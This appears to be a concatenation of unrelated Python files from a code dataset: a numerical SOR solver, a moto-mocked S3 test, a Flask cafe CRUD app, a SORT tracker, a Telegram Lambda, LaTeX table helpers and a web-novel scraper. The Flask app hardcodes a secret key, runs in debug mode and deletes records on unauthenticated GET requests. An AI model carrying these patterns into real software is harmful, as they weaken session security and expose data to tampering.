This may be usefull for \n determining the feed generator and with that, the framework being used. Also this will be helpfull\n for testing feed injection.\n '''\n","repo_name":"adambaldwin2/test","sub_path":"plugins/grep/feeds.py","file_name":"feeds.py","file_ext":"py","file_size_in_byte":3389,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"32965106865","text":"import numpy as np\nfrom prettytable import PrettyTable\nfrom numpy import linalg\n\ntable = PrettyTable()\ndef prettyPrint(name,matrix):\n n = len(matrix)\n table = PrettyTable()\n table.field_names = [f\"{name}{i}\" for i in range(n)]\n table.add_rows(matrix)\n table.add_column(\"\",[f\"{name}{i}\" for i in range(n)])\n print(table)\n \ndef sor(A, b, tol, w):\n\n\tn = len(A)\n\tXk = [0.0]*n\n\tsumation = 0.0\n\tfor i in range(n):\n\t\tif A[i][i] == 0:\n\t\t\texit('Los elementos A[i][i] deben ser diferentes de 0')\n\n\tXk1 = [b[i]/float(A[i][i]) for i in range(n)]\n\tminus = lambda x, y: [x[i]-y[i] for i in range(n)]\n\n\tfor j in range(n):\n\t \tdominancia = 0.0\n\t \tfor i in range(n):\n\t \t\tif j != i:\n\t \t\t\tdominancia += abs(A[i][j])\n\t \tif A[i][i] < dominancia:\n\t \t\texit('La matriz no converge')\n\titera = 0\n\terr = None\n\n\twhile(norm(minus(Xk1,Xk)) / float(norm(Xk1))) > tol:\n\t\trowAux = [itera] + [\"%.5f\"%value for value in Xk] + [err] \n\t\ttable.add_row(rowAux)\n\t\tXk[:] = Xk1[:]\n\t\tfor i in range(n):\n\t\t\tsumation1 = sum(A[i][j]*Xk1[j] for j in range(i))\n\t\t\tsumation2 = sum(A[i][j]*Xk1[j] for j in range(i+1, n))\n\t\t\terr=(norm(minus(Xk1,Xk)) / float(norm(Xk1)))\n\t\t\tXk1[i] = (float(w)/A[i][i])*(b[i] - sumation1 - sumation2) + (1-w)*Xk[i]\n\t\titera += 1\n\n\treturn Xk1\n\n\ndef norm(x):\n return linalg.norm(x) #norm2\n\n\na = [[4,-1,0,3],[1,15.5,3,8],[0,-1.3,-4,1.1],[14,5,-2,30]]\nb=[1,1,1,1]\ntol=1e-7\nw=0.7\nn = len(a)\n\nx = sor(a,b,tol,w)\ntable.field_names = [\"Iteracion\"] + [f\"x{i}\" for i in range(n)] + [\"Error\"]\nprint(table)\n\n \nD = np.diag(np.diag(a))\nL = np.tril(a,-1)\nU = np.triu(a,1)\n\n\nTmatrix = np.dot(linalg.inv(D - (w*L)),((1-w)*D)+(w*U))\n\n#print(\"T Matrix:\")\n#prettyPrint(\"T\",Tmatrix)\n \nvalor1 = np.linalg.eig(Tmatrix)\nlista = []\nfor i in range(len(valor1)):\n lista.append(abs(valor1[i]))\nvalue = max(lista[0])\n \n#print(\"The spectral radius is: \")\n#print(value)\n \ntable = PrettyTable()\ntable.field_names = [f\"x{i}\" for i in range(n)]\ntable.add_row(x)\nprint(\"\\nX:\")\nprint(table)","repo_name":"ksossa/NumericalAnalysisProject","sub_path":"apis/python/Linear Equations/sor.py","file_name":"sor.py","file_ext":"py","file_size_in_byte":1957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"75146956034","text":"import sys\nsys.path.append('./src/')\nfrom datetime import datetime\nfrom ingestion.ingestion import data_ingestion\nfrom ingestion.dates import select_last_updated\nfrom moto import mock_s3\nimport boto3\nimport pytest\nimport os\nfrom freezegun import freeze_time\n\n\n# Mocking AWS credentials\n@pytest.fixture(scope='module')\ndef aws_credentials():\n\n '''Mocked AWS credentials for moto.'''\n\n os.environ['AWS_ACCESS_KEY_ID'] = 'test'\n os.environ['AWS_SECRET_ACCESS_KEY'] = 'test'\n os.environ['AWS_SECURITY_TOKEN'] = 'test'\n os.environ['AWS_SESSION_TOKEN'] = 'test'\n os.environ['AWS_DEFAULT_REGION'] = 'us-east-1'\n\n@pytest.fixture(scope='module')\ndef s3(aws_credentials):\n with mock_s3():\n yield boto3.client('s3')\n\n@pytest.fixture(scope='module')\ndef bucket(s3):\n s3.create_bucket(\n Bucket='s3-de-ingestion-query-queens-test-bucket'\n )\n\n@freeze_time('20-10-2021 14:10:01')\ndef test_upload_to_s3_function_uploads_files_to_specified_bucket(bucket, s3):\n table_names = ['counterparty', 'currency', 'department', 'design', 'payment', 'transaction', 'staff', 'sales_order', 'address', 'purchase_order', 'payment_type']\n dt = datetime(2012, 1, 14, 12, 00, 1, 000000)\n date_time = select_last_updated(dt)[0]\n data_ingestion()\n response = s3.list_objects_v2(Bucket='s3-de-ingestion-query-queens-test-bucket', Prefix=date_time)\n list_of_files = [item['Key'] for item in response['Contents']]\n for table_name in table_names:\n assert f'2021-10-20/14:10:01/{table_name}.json' in list_of_files\n","repo_name":"rexhao362/de-jan-23-project","sub_path":"test/lambdas/ingestion/utils/test_upload_to_s3.py","file_name":"test_upload_to_s3.py","file_ext":"py","file_size_in_byte":1541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9570160858","text":"n=int(input())\na=list(map(int,input().strip().split()))\nl=[]\nk=[]\nx=[]\nfor i in range(1,n+1):\n l.append(i)\nfor j in a:\n if j>0 and j in l:\n k.append(j)\nfor i in l:\n if i not in k:\n x.append(i)\nprint(x[0])","repo_name":"Sudheer0581/codemind-python","sub_path":"First_Missing_Positive.py","file_name":"First_Missing_Positive.py","file_ext":"py","file_size_in_byte":228,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"23246505458","text":"# display cafes, add and delete them\n\nfrom flask_wtf import FlaskForm\nfrom wtforms import StringField, SubmitField, SelectField\nfrom wtforms.validators import DataRequired, URL\nfrom flask import Flask, render_template, request, jsonify, redirect, url_for\nfrom flask_bootstrap import Bootstrap\nfrom flask_sqlalchemy import SQLAlchemy\nimport random\nfrom flask_ckeditor import CKEditor, CKEditorField\nfrom datetime import date\nfrom flask_migrate import Migrate\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = '8BYkEfBA6O6donzWlSihBXox7C0sKR6b'\nckeditor = CKEditor(app)\nBootstrap(app)\n\n##Connect to Database\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///cafes.db'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\ndb = SQLAlchemy(app)\n# migrate = Migrate(app, db)\n\n\n##Cafe TABLE Configuration\nclass Cafe(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(250), unique=True, nullable=False)\n map_url = db.Column(db.String(500), nullable=False)\n # date = db.Column(db.String(250), nullable=False)\n img_url = db.Column(db.String(500), nullable=False)\n location = db.Column(db.String(250), nullable=False)\n seats = db.Column(db.String(250), nullable=False)\n has_toilet = db.Column(db.String, nullable=False)\n has_wifi = db.Column(db.String, nullable=False)\n has_sockets = db.Column(db.String, nullable=False)\n can_take_calls = db.Column(db.String, nullable=False)\n coffee_price = db.Column(db.String(250), nullable=True)\n\n # def to_dict(self):\n # # Method 1.\n # dictionary = {}\n # # Loop through each column in the data record\n # for column in self.__table__.columns:\n # # Create a new dictionary entry;\n # # where the key is the name of the column\n # # and the value is the value of the column\n # dictionary[column.name] = getattr(self, column.name)\n # return dictionary\n\n # Method 2. Altenatively use Dictionary Comprehension to do the same thing.\n # return {column.name: getattr(self, column.name) for column in self.__table__.columns}\nwith app.app_context():\n db.create_all()\nclass CreateCafeForm(FlaskForm):\n name = StringField(\"Cafe Name\", validators=[DataRequired()])\n location = StringField(\"Location\", validators=[DataRequired()])\n map_url = StringField(\"Cafe Location URL\", validators=[DataRequired(), URL()])\n img_url = StringField(\"Blog Image URL\", validators=[DataRequired(), URL()])\n seats = SelectField('Any Seat?', choices=[\"Yes there are\", \"No there are not\"], validators=[DataRequired()])\n has_toilet = SelectField(\"Any toilets?\", choices=[\"Yes there are\", \"No there are not\"], validators=[DataRequired()])\n has_wifi = SelectField(\"Any wifi?\", choices=[\"Yes there is\", \"No there is not\"], validators=[DataRequired()])\n has_sockets = SelectField(\"Any sockets?\", choices=[\"Yes there are\", \"No there are not\"], validators=[DataRequired()])\n can_take_calls = SelectField(\"Can I take calls?\",choices=[\"Yes you can\", \"No you cannot\"], validators=[DataRequired()])\n coffee_price = StringField(\"Coffee Price\", validators=[DataRequired()])\n submit = SubmitField(\"Submit Cafe\")\n\n@app.route(\"/\")\ndef home():\n cafes = Cafe.query.all()\n return render_template(\"index.html\", all_cafes=cafes)\n\n\n@app.route(\"/post/\", methods=[\"GET\", \"POST\"])\ndef show_cafe(cafe_id):\n requested_cafe = Cafe.query.get(cafe_id)\n\n return render_template(\"cafe.html\", cafe=requested_cafe)\n\n\n## HTTP POST - Create Record\n@app.route(\"/add\", methods=[\"GET\", \"POST\"])\ndef post_new_cafe():\n form = CreateCafeForm()\n if form.validate_on_submit():\n new_cafe = Cafe(\n name=form.name.data,\n\n img_url=form.img_url.data,\n map_url=form.map_url.data,\n location=form.location.data,\n seats=form.seats.data,\n has_toilet=form.has_toilet.data,\n has_wifi=form.has_wifi.data,\n has_sockets=form.has_sockets.data,\n can_take_calls=form.can_take_calls.data,\n coffee_price=form.coffee_price.data,\n\n )\n db.session.add(new_cafe)\n db.session.commit()\n return redirect(url_for(\"home\"))\n\n return render_template(\"make-cafe.html\", form=form)\n## HTTP PUT/PATCH - Upf Record\n@app.route(\"/update-price/\", methods=[\"GET\",\"POST\"])\ndef update_data(cafe_id):\n current_cafe = Cafe.query.get(cafe_id)\n edited_cafe = CreateCafeForm(\n name=current_cafe.name,\n location = current_cafe.location,\n map_url = current_cafe.map_url,\n img_url = current_cafe.img_url,\n seats = current_cafe.seats,\n has_toilet = current_cafe.has_toilet,\n has_wifi = current_cafe.has_wifi,\n has_sockets = current_cafe.has_sockets,\n can_take_calls = current_cafe.can_take_calls,\n coffee_price = current_cafe.coffee_price\n )\n if edited_cafe.validate_on_submit():\n current_cafe.name = edited_cafe.name.data\n current_cafe.location = edited_cafe.location.data\n current_cafe.map_url = edited_cafe.map_url.data\n current_cafe.img_url = edited_cafe.img_url.data\n current_cafe.seats = edited_cafe.seats.data\n current_cafe.has_toilet = edited_cafe.has_toilet.data\n current_cafe.has_wifi = edited_cafe.has_wifi.data\n current_cafe.has_sockets = edited_cafe.has_sockets.data\n current_cafe.can_take_calls = edited_cafe.can_take_calls.data\n current_cafe.coffee_price = edited_cafe.coffee_price.data\n\n db.session.commit()\n return redirect(url_for('show_cafe', cafe_id=current_cafe.id))\n return render_template(\"make-cafe.html\", form=edited_cafe, is_edit=True)\n\n\n## HTTP DELETE - Delete Record\n@app.route(\"/report-closed/\", methods=[\"GET\", \"DELETE\"])\ndef delete_data(cafe_id):\n cafe_delete = Cafe.query.get(cafe_id)\n db.session.delete(cafe_delete)\n db.session.commit()\n return redirect(url_for('home'))\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"paddy960609/cafe-wifi-RESTFUL-api-","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10385389442","text":"import numpy as np\nimport pandas as pd\n\nimport os\nimport sys\n\n__dir__ = os.path.dirname(os.path.abspath(__file__))\nsys.path.append(__dir__)\nsys.path.append(os.path.abspath(os.path.join(__dir__, '..')))\nfrom kalman_filter import KalmanFilterNew as KalmanFilter\nfrom association import associate_detections_to_trackers\nfrom estimation.speed import TWOLINEs\n\n\ndef onSegment(p, q, r):\n if ( (q[0] <= max(p[0], r[0])) and (q[0] >= min(p[0], r[0])) and \n (q[1] <= max(p[1], r[1])) and (q[1] >= min(p[1], r[1]))):\n return True\n return False\n \ndef orientation(p, q, r):\n # to find the orientation of an ordered triplet (p,q,r)\n # function returns the following values:\n # 0 : Collinear points\n # 1 : Clockwise points\n # 2 : Counterclockwise\n \n # See https://www.geeksforgeeks.org/orientation-3-ordered-points/amp/ \n # for details of below formula. \n \n val = (float(q[1] - p[1]) * (r[0] - q[0])) - (float(q[0] - p[0]) * (r[1] - q[1]))\n if (val > 0):\n \n # Clockwise orientation\n return 1\n elif (val < 0):\n \n # Counterclockwise orientation\n return 2\n else:\n \n # Collinear orientation\n return 0\n \n# The main function that returns true if \n# the line segment 'p1q1' and 'p2q2' intersect.\ndef doIntersect(p1, q1, p2, q2):\n \n # Find the 4 orientations required for \n # the general and special cases\n o1 = orientation(p1, q1, p2)\n o2 = orientation(p1, q1, q2)\n o3 = orientation(p2, q2, p1)\n o4 = orientation(p2, q2, q1)\n \n # General case\n if ((o1 != o2) and (o3 != o4)):\n return True\n \n # Special Cases\n \n # p1 , q1 and p2 are collinear and p2 lies on segment p1q1\n if ((o1 == 0) and onSegment(p1, p2, q1)):\n return True\n \n # p1 , q1 and q2 are collinear and q2 lies on segment p1q1\n if ((o2 == 0) and onSegment(p1, q2, q1)):\n return True\n \n # p2 , q2 and p1 are collinear and p1 lies on segment p2q2\n if ((o3 == 0) and onSegment(p2, p1, q2)):\n return True\n \n # p2 , q2 and q1 are collinear and q1 lies on segment p2q2\n if ((o4 == 0) and onSegment(p2, q1, q2)):\n return True\n \n # If none of the cases\n return False\n\n\ndef convert_bbox_to_z(bbox):\n \"\"\"\n Takes a bounding box in the form [x1,y1,x2,y2] and returns z in the form\n [x,y,s,r] where x,y is the centre of the box and s is the scale/area and r is\n the aspect ratio\n \"\"\"\n w = bbox[2] - bbox[0]\n h = bbox[3] - bbox[1]\n x = bbox[0] + w/2.\n y = bbox[1] + h/2.\n s = w * h # scale is just area\n r = w / float(h+1e-6)\n return np.array([x, y, s, r]).reshape((4, 1))\n\ndef convert_x_to_bbox(x,score=None, class_id = None):\n \"\"\"\n Takes a bounding box in the centre form [x,y,s,r] and returns it in the form\n [x1,y1,x2,y2] where x1,y1 is the top left and x2,y2 is the bottom right\n \"\"\"\n w = np.sqrt(x[2] * x[3])\n h = x[2] / w\n if(score==None) or (class_id == None):\n return np.array([x[0]-w/2.,x[1]-h/2.,x[0]+w/2.,x[1]+h/2.]).reshape((1,4))\n else:\n return np.array([x[0]-w/2.,x[1]-h/2.,x[0]+w/2.,x[1]+h/2.,score, class_id], dtype=object).reshape((1,6))\n\nclass OUTPUT():\n def __init__(self, bbox, conf, class_id, track_id, speed):\n self.bbox = bbox\n self.conf = conf\n self.class_id = class_id\n self.track_id = track_id\n self.speed = speed\n\n\nclass KalmanBoxTracker(object):\n \"\"\"\n This class represents the internal state of individual tracked objects observed as bbox.\n \"\"\"\n count = 0\n def __init__(self,bbox, score, class_id):\n \"\"\"\n Initialises a tracker using initial bounding box.\n \"\"\"\n #define constant velocity model\n self.kf = KalmanFilter(dim_x=7, dim_z=4) \n self.kf.F = np.array([[1,0,0,0,1,0,0],[0,1,0,0,0,1,0],[0,0,1,0,0,0,1],[0,0,0,1,0,0,0], [0,0,0,0,1,0,0],[0,0,0,0,0,1,0],[0,0,0,0,0,0,1]])\n self.kf.H = np.array([[1,0,0,0,0,0,0],[0,1,0,0,0,0,0],[0,0,1,0,0,0,0],[0,0,0,1,0,0,0]])\n\n self.kf.R[2:,2:] *= 10.\n self.kf.P[4:,4:] *= 1000. #give high uncertainty to the unobservable initial velocities\n self.kf.P *= 10.\n self.kf.Q[-1,-1] *= 0.01\n self.kf.Q[4:,4:] *= 0.01\n\n self.kf.x[:4] = convert_bbox_to_z(bbox)\n self.class_id = class_id\n self.conf_score = score\n\n self.time_since_update = 0\n self.id = KalmanBoxTracker.count\n KalmanBoxTracker.count += 1\n self.history = []\n self.hits = 0\n self.hit_streak = 0\n self.age = 0\n\n self.speed = 0\n self.cached_pos = None\n self.cached_lines = []\n self.start_t = 0\n self.counted = False\n\n def update(self,bbox):\n \"\"\"\n Updates the state vector with observed bbox.\n \"\"\"\n self.time_since_update = 0\n self.history = []\n self.hits += 1\n self.hit_streak += 1\n self.kf.update(convert_bbox_to_z(bbox))\n\n def predict(self):\n \"\"\"\n Advances the state vector and returns the predicted bounding box estimate.\n \"\"\"\n if((self.kf.x[6]+self.kf.x[2])<=0):\n self.kf.x[6] *= 0.0\n self.kf.predict()\n self.age += 1\n if(self.time_since_update>0):\n self.hit_streak = 0\n self.time_since_update += 1\n self.history.append(convert_x_to_bbox(self.kf.x, self.conf_score, self.class_id))\n return self.history[-1]\n\n def get_state(self):\n \"\"\"\n Returns the current bounding box estimate.\n \"\"\"\n return convert_x_to_bbox(self.kf.x, self.conf_score, self.class_id)\n\n\n\nclass SORT(object):\n def __init__(self, max_age=1, min_hits=3, iou_threshold=0.1, speedlines=None, countline = None):\n \"\"\"\n Sets key parameters for SORT\n \"\"\"\n self.max_age = max_age\n self.min_hits = min_hits\n self.iou_threshold = iou_threshold\n self.trackers = []\n self.frame_count = 0\n self.model_estimation = TWOLINEs(9,speedlines=speedlines)\n \n self.cars = 0\n self.motors = 0\n self.countline = countline\n\n def update(self, frame_idx, dets=np.empty((0, 6))):\n \"\"\"\n Params:\n dets - a numpy array of detections in the format [[x1,y1,x2,y2,score, class_id],[x1,y1,x2,y2,score, class_id],...]\n Requires: this method must be called once for each frame even with empty detections (use np.empty((0, 6)) for frames without detections).\n Returns the a similar array, where the last column is the object ID.\n NOTE: The number of objects returned may differ from the number of detections provided.\n \"\"\"\n self.frame_count += 1\n # get predicted locations from existing trackers.\n trks = np.zeros((len(self.trackers), 5))\n to_del = []\n ret = []\n for t, trk in enumerate(trks):\n pos = self.trackers[t].predict()[0]\n trk[:] = [pos[0], pos[1], pos[2], pos[3], 0]\n if np.any(pd.isna(pos)):\n to_del.append(t)\n trks = np.ma.compress_rows(np.ma.masked_invalid(trks))\n for t in reversed(to_del):\n self.trackers.pop(t)\n matched, unmatched_dets, unmatched_trks = associate_detections_to_trackers(dets,trks, self.iou_threshold)\n\n # update matched trackers with assigned detections\n for m in matched:\n self.trackers[m[1]].update(dets[m[0], :])\n\n # create and initialise new trackers for unmatched detections\n for i in unmatched_dets:\n trk = KalmanBoxTracker(dets[i,:4], dets[i, 4], dets[i, 5])\n self.trackers.append(trk)\n i = len(self.trackers)\n for trk in reversed(self.trackers):\n d = trk.get_state()[0]\n x1, y1, x2, y2 = d[:4]\n xmean = x1 + (x2 - x1)/2\n ymean = y1 + (y2 - y1)/2\n\n if trk.cached_pos == None:\n trk.cached_pos = [xmean, ymean]\n else:\n nline = [trk.cached_pos, [xmean,y2]]\n \n # if doIntersect(self.countline[0], self.countline[1], nline[0], nline[1]):\n # if not trk.counted:\n # trk.counted = True\n # if trk.class_id == 3:\n # self.cars += 1\n # if trk.class_id == 4:\n # self.motors += 1\n\n # for line in self.model_estimation.speedlines:\n # if doIntersect(line[0], line[1], nline[0], nline[1]):\n # if line not in trk.cached_lines:\n # trk.cached_lines.append(line)\n # if len(trk.cached_lines) > 1:\n # trk.speed = self.model_estimation.estimate_speed(trk, frame_idx, self._tlwh_to_xywh([x1, y1, x2, y2]))\n # trk.start_t = frame_idx\n # trk.start_pos = self._tlwh_to_xywh([x1,y1,x2,y2])\n \n trk.cached_pos = [xmean, ymean]\n if (trk.time_since_update < 1) and (trk.hit_streak >= self.min_hits or self.frame_count <= self.min_hits):\n # output = OUTPUT(d[:4],d[4], d[5], trk.id+1, trk.speed)\n output = OUTPUT(d[:4],d[4], d[5], trk.id+1, 0)\n ret.append(output)\n i -= 1\n # remove dead tracklet\n if(trk.time_since_update > self.max_age):\n self.trackers.pop(i)\n if(len(ret)>0):\n return np.array(ret)\n return np.empty((0,6))\n\n def _tlwh_to_xywh(self, bbox_tlwh):\n x,y,w,h= bbox_tlwh\n x1 = int(x + w/2)\n y1 = int(y + h/2)\n return x1, y1, w, h \n\n","repo_name":"LouisDo2108/MediaEval2022_Medico_Tail_Aware_Sperm_Detection","sub_path":"source_code/code_and_checkpoints/SORT_yolov5/SORT_tracker/sort.py","file_name":"sort.py","file_ext":"py","file_size_in_byte":8983,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"61"} +{"seq_id":"18471368038","text":"import json\nimport os\n\nfrom telegram.ext import Updater\n\n\nBOT_TOKEN = os.environ['BOT_TOKEN']\nCHAT_ID = os.environ['CHAT_ID']\n\ntg = Updater(token=BOT_TOKEN)\n\n\ndef send_message_to_telegram(event: dict, context: dict):\n tg.bot.send_message(CHAT_ID, event['body'])\n return {'body': '', 'statusCode': 200}\n\n\ndef test(event: dict, context: dict):\n return {'body': json.dumps(event), 'statusCode': 200}\n","repo_name":"Vengeros/AWS-test-stufs","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11782352163","text":"import pyx\nimport numpy as np\n\n\ndef file_table(files):\n table_runner = pyx.text.LatexRunner()\n table_runner.preamble(\"\\\\usepackage{tabularx}\")\n\n file_strings = [\"{} & : & {}\".format(label, filename.replace(\"_\", \"\\\\_\")) for label, filename in files.items()]\n table_string = \"\"\"\n\\\\begin{{tabularx}}{{19cm}}{{l c X}}\n{}\n\\\\end{{tabularx}}\n\"\"\".format(\"\\\\\\\\\\n\".join(file_strings))\n return table_runner.text(0, 0, table_string, [pyx.text.valign.bottom])\n\n\ndef metabolite_table(concentrations, ref_cr, units=\"AU\"):\n table_runner = pyx.text.LatexRunner()\n table_runner.preamble(\"\\\\usepackage{tabularx}\")\n\n if ref_cr <= 0:\n ref_cr = np.inf\n\n metabolite_strings = [\"{} & {} & {:.3f} & {}\\\\\\\\\\n\".format(\n name.replace(\"_\", \"\\\\_\"), value[\"concentration\"], float(value[\"concentration\"]) / ref_cr, value[\"sd\"]) for\n name, value in sorted(concentrations.items())]\n\n table_string = \"\\\\begin{{tabularx}}{{9cm}}{{X r r r}}\\nMetabolite & Conc/{} & /Cr & SD\\%\\\\\\\\\\n\\hline\\n{}\\\\end{{tabularx}}\".format(\n units,\n \"\".join(metabolite_strings))\n\n table_latex = table_runner.text(0, 0, table_string, [pyx.text.valign.top])\n return table_latex\n\n\ndef quality_table(quality_info):\n table_runner = pyx.text.LatexRunner()\n table_runner.preamble(\"\\\\usepackage{tabularx}\")\n # now display the fit quality metrics\n quality_strings = [\"{} & {}\\\\\\\\\\n\".format(\n param, value) for param, value in sorted(quality_info.items())]\n\n quality_table_string = \"\\\\begin{{tabularx}}{{9cm}}{{X r}}\\nFit Parameters&\\\\\\\\\\n\\hline\\n{}\\\\end{{tabularx}}\".format(\n \"\".join(quality_strings))\n\n quality_table_latex = table_runner.text(0, 0, quality_table_string, [pyx.text.valign.top])\n return quality_table_latex\n\n\ndef voxel_properties_table(voxel_properties):\n table_runner = pyx.text.LatexRunner()\n table_runner.preamble(\"\\\\usepackage{tabularx}\")\n\n property_string = \"\"\"\n Voxel volume / mm$^3$ & {volume}\\\\\\\\\n Grey matter & {gm:.1%}\\\\%\\\\\\\\\n White matter & {wm:.1%}\\\\%\\\\\\\\\n CSF & {csf:.1%}\\\\%\\\\\\\\\n Water Conc. & {water_conc}\\\\\\\\\n Water Att. & {water_att:.3f}\\\\\\\\\n \"\"\".format(**voxel_properties).replace(\"%\", \"\\%\")\n\n property_table_string = \"\\\\begin{{tabularx}}{{9cm}}{{X r}}\\nVoxel Properties&\\\\\\\\\\n\\hline\\n{}\\\\end{{tabularx}}\".format(\n \"\".join(property_string))\n\n property_table_latex = table_runner.text(0, 0, property_table_string, [pyx.text.valign.top])\n return property_table_latex\n","repo_name":"bennyrowland/cubric_mrs","sub_path":"cubric_mrs/table.py","file_name":"table.py","file_ext":"py","file_size_in_byte":2481,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"38216670258","text":"from bs4 import BeautifulSoup\r\nfrom urllib.request import Request, urlopen\r\nfrom natsort import natsorted\r\nfrom pathlib import Path\r\nfrom docx import Document\r\nfrom docx.shared import Pt\r\nimport threading, codecs, requests, os, shutil, re\r\nfrom multiprocessing.dummy import Pool as ThreadPool\r\ncookies = {\r\n\t'over18': 'yes',\r\n}\r\nheaders = {\r\n\t'Connection': 'keep-alive',\r\n\t'sec-ch-ua': '^\\\\^Google',\r\n\t'sec-ch-ua-mobile': '?0',\r\n\t'Upgrade-Insecure-Requests': '1',\r\n\t'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36',\r\n\t'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',\r\n\t'Sec-Fetch-Site': 'same-site',\r\n\t'Sec-Fetch-Mode': 'navigate',\r\n\t'Sec-Fetch-User': '?1',\r\n\t'Sec-Fetch-Dest': 'document',\r\n\t'Referer': 'https://nl.syosetu.com/',\r\n\t'Accept-Language': 'en-US,en;q=0.9',\r\n}\r\n\r\nclass Novel:\r\n\tdef __init__(self, status, code, title):\r\n\t\tself.status = status\r\n\t\tself.code = code\r\n\t\ttitle = re.sub(r'[<>:\\\"/\\\\\\|\\?\\*]',r'', title)\r\n\t\tself.title = title.encode(\"ascii\", \"ignore\").decode()\r\n\tdef __str__(self):\r\n\t\tif self.status == \"Null\":\r\n\t\t\treturn f\"{self.code} {self.title}\"\r\n\t\telse:\r\n\t\t\treturn f\"{self.status} {self.code} {self.title}\"\r\n\r\ndef countLine():\r\n\treturn len('------------------------------\\n')\r\n\r\ndef writeLine(file):\r\n\tfile.write('------------------------------\\n')\r\n\treturn len('------------------------------\\n')\r\n\r\ndef updateLibrary(novels):\r\n\tlibrary = open('library.txt', 'w')\r\n\tprint(\"To Read\", file=library)\r\n\tfor novel in novels:\r\n\t\tif novel.status == \"Null\":\r\n\t\t\tprint(novel, file=library)\r\n\tprint(\"\\nReading\", file=library)\r\n\tfor novel in novels:\r\n\t\tif novel.status != \"Null\":\r\n\t\t\tprint(novel, file=library)\r\n\r\ndef truncate(data):\r\n\treturn (data[:50] + '..') if len(data) > 50 else data\r\n\r\ndef writeTitleAuthor(soup, file):\r\n\tcount = 0\r\n\ttitle = soup.find_all('p', class_=\"novel_title\")[0].get_text().strip()\r\n\tauthor = soup.find_all('div', class_=\"novel_writername\")[0].get_text().split(':')[1].strip()\r\n\tfile.write(f'タイトル: {title}\\n')\r\n\tfile.write(f'作者: {author}\\n')\r\n\treturn len(f'タイトル: {title}\\n') + len(f'作者: {author}\\n')\r\n\r\ndef writeChapterTitleAndProgress(soup, file):\r\n\tsection = soup.find(['p'], class_=[\"chapter_title\"])\r\n\ttitle = soup.find(['p'], class_=[\"novel_subtitle\"])\r\n\tprogress = soup.find(['div'], id=[\"novel_no\"])\r\n\tcount = 0\r\n\tif section:\r\n\t\tcount += len(f\"セクション:{section.get_text().strip()}\")\r\n\t\tprint(f\"セクション:{section.get_text().strip()}\", file=file)\r\n\tprint(f\"章題:{title.get_text().strip()}\", file=file)\r\n\tprint(f\"章番号:{progress.get_text().strip()}\", file=file)\r\n\treturn count + len(f\"章題:{title.get_text().strip()}\") + len(f\"章番号:{progress.get_text().strip()}\")\r\n\r\ndef writeBody(soup, file):\r\n\tchapterP = soup.find(id='novel_p')\r\n\tcount = 0\r\n\tif chapterP:\r\n\t\tfile.write(f'{chapterP.get_text()}\\n')\r\n\t\tcount += len(f'{chapterP.get_text()}\\n')\r\n\t\tcount += writeLine(file)\r\n\tchapterHonbun = soup.find(id='novel_honbun')\r\n\thonbunParagraphs = chapterHonbun.select('p')\r\n\tfor paragraph in honbunParagraphs:\r\n\t\tfile.write(f'{paragraph.get_text()}\\n')\r\n\t\tcount += len(f'{paragraph.get_text()}\\n')\r\n\t\timages = paragraph.find_all('img')\r\n\t\tif images:\r\n\t\t\tsrc = images[0]['src']\r\n\t\t\tfile.write(f'Image: {src}\\n')\r\n\t\t\tcount += len(f'Image: {src}\\n')\r\n\tchapterA = soup.find(id='novel_a')\r\n\tif chapterA:\r\n\t\tcount += writeLine(file)\r\n\t\tfile.write(f'{chapterA.get_text()}\\n')\r\n\t\tcount += len(f'{chapterA.get_text()}\\n')\r\n\treturn count\r\n\r\ndef countBody(soup):\r\n\tchapterP = soup.find(id='novel_p')\r\n\tcount = 0\r\n\tif chapterP:\r\n\t\tcount += len(f'{chapterP.get_text()}\\n')\r\n\t\tcount += countLine()\r\n\tchapterHonbun = soup.find(id='novel_honbun')\r\n\thonbunParagraphs = chapterHonbun.select('p')\r\n\tfor paragraph in honbunParagraphs:\r\n\t\tcount += len(f'{paragraph.get_text()}\\n')\r\n\t\timages = paragraph.find_all('img')\r\n\t\tif images:\r\n\t\t\tsrc = images[0]['src']\r\n\t\t\tcount += len(f'Image: {src}\\n')\r\n\tchapterA = soup.find(id='novel_a')\r\n\tif chapterA:\r\n\t\tcount += countLine()\r\n\t\tcount += len(f'{chapterA.get_text()}\\n')\r\n\treturn count\r\n\r\ndef writeTableOfContents(soup, file):\r\n\tcount = 0\r\n\tchapters = soup.find_all(['div', 'dl'], class_=[\"chapter_title\", \"novel_sublist2\"])\r\n\tfor index, chapter in enumerate(chapters):\r\n\t\tlines = chapter.get_text().strip().split(\"\\n\")\r\n\t\tlines = [line.strip() for line in lines if len(line.strip()) > 0]\r\n\t\tif len(lines) == 1:\r\n\t\t\tif index != 0:\r\n\t\t\t\tcount += writeLine(file)\r\n\t\t\tprint(f\"{lines[0]}\", file=file)\r\n\t\t\tcount += writeLine(file)\r\n\t\t\tcount += len(f\"{lines[0]}\")\r\n\t\telse:\r\n\t\t\tprint(lines[0], file=file)\r\n\t\t\tprint(lines[1], file=file)\r\n\t\t\tcount += len(lines[0])\r\n\t\t\tcount += len(lines[1])\r\n\treturn 